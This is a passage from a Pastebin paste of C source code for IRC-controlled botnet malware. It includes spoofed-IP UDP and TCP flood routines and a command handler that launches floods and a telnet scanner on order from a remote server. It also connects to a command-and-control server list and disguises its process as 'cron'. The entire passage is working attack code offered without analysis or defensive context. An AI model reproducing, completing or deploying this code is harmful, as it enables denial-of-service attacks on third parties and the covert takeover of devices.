  548.         udph->source = rand_cmwc(); udph->dest = (port == 0 ? rand_cmwc() : htons(port)); udph->check = 0;
  549.         makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  550.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  551.         int end = time(NULL) + timeEnd;
  552.         register unsigned int i = 0; while(1) {
  553.         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  554.         udph->source = rand_cmwc();
  555.         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  556.         iph->id = rand_cmwc();
  557.         iph->saddr = htonl( getRandomIP(netmask) );
  558.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  559.         if(i == pollRegister) { if(time(NULL) > end) break; i = 0; continue; }
  560.         i++; } } }
  561. void tcp(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  562. {
  563.         register unsigned int pollRegister;
  564.         pollRegister = pollinterval;
  565.         struct sockaddr_in dest_addr;
  566.         dest_addr.sin_family = AF_INET;
  567.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  568.         else dest_addr.sin_port = htons(port);
  569.         if(getHost(target, &dest_addr.sin_addr)) return;
  570.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  571.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  572.         if(!sockfd) { return; }
  573.         int tmp = 1;
  574.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }
  575.         in_addr_t netmask;
  576.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  577.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  578.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  579.         struct iphdr *iph = (struct iphdr *)packet;
  580.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  581.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  582.         tcph->source = rand_cmwc();
  583.         tcph->seq = rand_cmwc();
  584.         tcph->ack_seq = 0;
  585.         tcph->doff = 5;
  586.         tcph->urg_ptr = 0;
  587.         if(!strcmp(flags, "all")) {
  588.         tcph->syn = 1;
  589.         tcph->rst = 1;
  590.         tcph->fin = 1;
  591.         tcph->ack = 1;
  592.         tcph->psh = 1;
  593.         tcph->urg = 1;
  594.         tcph->urg_ptr = 1;
  595.         } else {
  596.         unsigned char *pch = strtok(flags, ","); while(pch) {
  597.         if(!strcmp(pch, "syn")) { tcph->syn = 1; }
  598.         else if(!strcmp(pch,  "rst")) { tcph->rst = 1; }
  599.         else if(!strcmp(pch,  "fin")) { tcph->fin = 1; }
  600.         else if(!strcmp(pch,  "ack")) { tcph->ack = 1; }
  601.         else if(!strcmp(pch,  "psh")) { tcph->psh = 1; }
  602.         else if(!strcmp(pch,  "urg")) { tcph->urg = 1; tcph->urg_ptr = 1; } else {
  603.         }
  604.         pch = strtok(NULL, ","); } }
  605.         tcph->window = rand_cmwc();
  606.         tcph->check = 0;
  607.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  608.         tcph->check = tcpcsum(iph, tcph);
  609.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  610.         int end = time(NULL) + timeEnd;
  611.         register unsigned int i = 0;
  612.         while(1) { sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  613.         iph->saddr = htonl( getRandomIP(netmask) );
  614.         iph->id = rand_cmwc();
  615.         tcph->seq = rand_cmwc();
  616.         tcph->source = rand_cmwc();
  617.         tcph->check = 0;
  618.         tcph->check = tcpcsum(iph, tcph);
  619.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  620.         if(i == pollRegister) { if(time(NULL) > end) break; i = 0; continue; }
  621.         i++; } }
  622. void processCmd(int argc, unsigned char *argv[])
  623. {
  624.         int x;
  625.         if(!strcmp(argv[0], "GO")) {
  626.         uint32_t parent;
  627.         parent = fork();        
  628.         int ii = 0;
  629.         int forks = sysconf( _SC_NPROCESSORS_ONLN );
  630.         int fds = 999999;
  631.         if(forks == 1) fds = 500;
  632.         if(forks >= 2) fds = 1000;
  633.         if (argc >= 2) fds = atoi(argv[1]);
  634.         if (argc >= 3) forks = atoi(argv[2]);
  635.         if (parent > 0) { scanPid = parent; return;}
  636.         else if(parent == -1) return;
  637.         for (ii = 0; ii < forks; ii++) {
  638.         srand((time(NULL) ^ getpid()) + getppid());
  639.         init_rand(time(NULL) ^ getpid());
  640.         tel(100, fds);
  641.         _exit(0); } }
  642.         if(!strcmp(argv[0], "UDP")) {
  643.         if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1)) {
  644.         return; }
  645.         unsigned char *ip = argv[1];
  646.         int port = atoi(argv[2]);
  647.         int time = atoi(argv[3]);
  648.         int spoofed = atoi(argv[4]);
  649.         int packetsize = atoi(argv[5]);
  650.         int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  651.         if(strstr(ip, ",") != NULL) {
  652.         unsigned char *hi = strtok(ip, ",");
  653.         while(hi != NULL) {
  654.         if(!listFork()) { udp(hi, port, time, spoofed, packetsize, pollinterval); _exit(0); }
  655.         hi = strtok(NULL, ","); }
  656.         } else {
  657.         if (listFork()) { return; } udp(ip, port, time, spoofed, packetsize, pollinterval); _exit(0); } }
  658.         if(!strcmp(argv[0], "TCP")) {
  659.         if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1)) {
  660.         return; }
  661.         unsigned char *ip = argv[1];
  662.         int port = atoi(argv[2]);
  663.         int time = atoi(argv[3]);
  664.         int spoofed = atoi(argv[4]);
  665.         unsigned char *flags = argv[5];
  666.         int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  667.         int psize = argc > 6 ? atoi(argv[6]) : 0;
  668.         if(strstr(ip, ",") != NULL) {
  669.         unsigned char *hi = strtok(ip, ",");
  670.         while(hi != NULL) { if(!listFork()) { tcp(hi, port, time, spoofed, flags, psize, pollinterval); _exit(0); }
  671.         hi = strtok(NULL, ","); }
  672.         } else { if (listFork()) { return; }
  673.         tcp(ip, port, time, spoofed, flags, psize, pollinterval); _exit(0); } }
  674.         if(!strcmp(argv[0], "LOLNOGTFO")) {
  675.         exit(0); } }
  676. int initConnection()
  677. {
  678.         unsigned char server[512];
  679.         memset(server, 0, 512);
  680.         if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  681.         if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  682.         else currentServer++;
  683.         strcpy(server, commServer[currentServer]);
  684.         int port = 6667;
  685.         if(strchr(server, ':') != NULL) { port = atoi(strchr(server, ':') + 1);
  686.         *((unsigned char *)(strchr(server, ':'))) = 0x0; }
  687.         mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  688.         if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  689.         return 0; }
  690. int getOurIP()
  691. {
  692.         int sock = socket(AF_INET, SOCK_DGRAM, 0);
  693.         if(sock == -1) return 0;
  694.         struct sockaddr_in serv;
  695.         memset(&serv, 0, sizeof(serv));
  696.         serv.sin_family = AF_INET;
  697.         serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  698.         serv.sin_port = htons(53);
  699.         int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  700.         if(err == -1) return 0;
  701.         struct sockaddr_in name;
  702.         socklen_t namelen = sizeof(name);
  703.         err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  704.         if(err == -1) return 0;
  705.         ourIP.s_addr = name.sin_addr.s_addr;
  706.         int cmdline = open("/proc/net/route", O_RDONLY);
  707.         char linebuf[4096];
  708.         while(fdgets(linebuf, 4096, cmdline) != NULL) { if(strstr(linebuf, "\t00000000\t") != NULL) {
  709.         unsigned char *pos = linebuf;
  710.         while(*pos != '\t') pos++; *pos = 0; break; }
  711.         memset(linebuf, 0, 4096); }
  712.         close(cmdline);
  713.         if(*linebuf) { int i; struct ifreq ifr; strcpy(ifr.ifr_name, linebuf); ioctl(sock, SIOCGIFHWADDR, &ifr);
  714.         for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i]; }
  715.         close(sock); }
  716. int main(int argc, unsigned char *argv[])
  717. {
  718.         char *mynameis = "cron";
  719.         if(SERVER_LIST_SIZE <= 0) return 0;
  720.         strncpy(argv[0],"cron",strlen(argv[0]));
  721.         argv[0] = "cron";
  722.         prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  723.         srand(time(NULL) ^ getpid());
  724.         init_rand(time(NULL) ^ getpid());
  725.         pid_t pid1;
  726.         pid_t pid2;
  727.         int status;
  728.         getOurIP();
  729.         if (pid1 = fork()) { waitpid(pid1, &status, 0); exit(0); } else if (!pid1) { if (pid2 = fork()) { exit(0); } else if (!pid2) {
  730.         } else {
  731.         } } else {
  732.         }
  733.         setsid(); chroot("/"); chdir("/");
  734.         signal(SIGPIPE, SIG_IGN); while(1) { if(initConnection()) { sleep(5); continue; }
  735.         char commBuf[4096]; int got = 0; int i = 0;
  736.         while((got = recvLine(mainCommSock, commBuf, 4096)) != -1) { for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  737.         unsigned int *newpids, on; for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on]; pids[on - 1] = 0; numpids--;
  738.         newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  739.         for (on = 0; on < numpids; on++) newpids[on] = pids[on]; free(pids); pids = newpids; }
  740.         commBuf[got] = 0x00; trim(commBuf);
  741.         if(strstr(commBuf, "PING") == commBuf) { continue; }
  742.         if(strstr(commBuf, "DUP") == commBuf) exit(0);
  743.         unsigned char *message = commBuf; if(*message == '!') {
  744.         unsigned char *nickMask = message + 1;
  745.         while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  746.         if(*nickMask == 0x00) continue; *(nickMask) = 0x00; nickMask = message + 1;
  747.         message = message + strlen(nickMask) + 2;
  748.         while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  749.         unsigned char *command = message; while(*message != ' ' && *message != 0x00) message++; *message = 0x00; message++;
  750.         unsigned char *tmpcommand = command;
  751.         while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  752.         unsigned char *params[10]; int paramsCount = 1;
  753.         unsigned char *pch = strtok(message, " ");
  754.         params[0] = command; while(pch) { if(*pch != '\n') {
  755.         params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  756.         memset(params[paramsCount], 0, strlen(pch) + 1); strcpy(params[paramsCount], pch); paramsCount++; }
  757.         pch = strtok(NULL, " "); }
  758.         processCmd(paramsCount, params);
  759.         if(paramsCount > 1) { int q = 1; for(q = 1; q < paramsCount; q++) { free(params[q]); } } } } }
  760.         return 0; }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top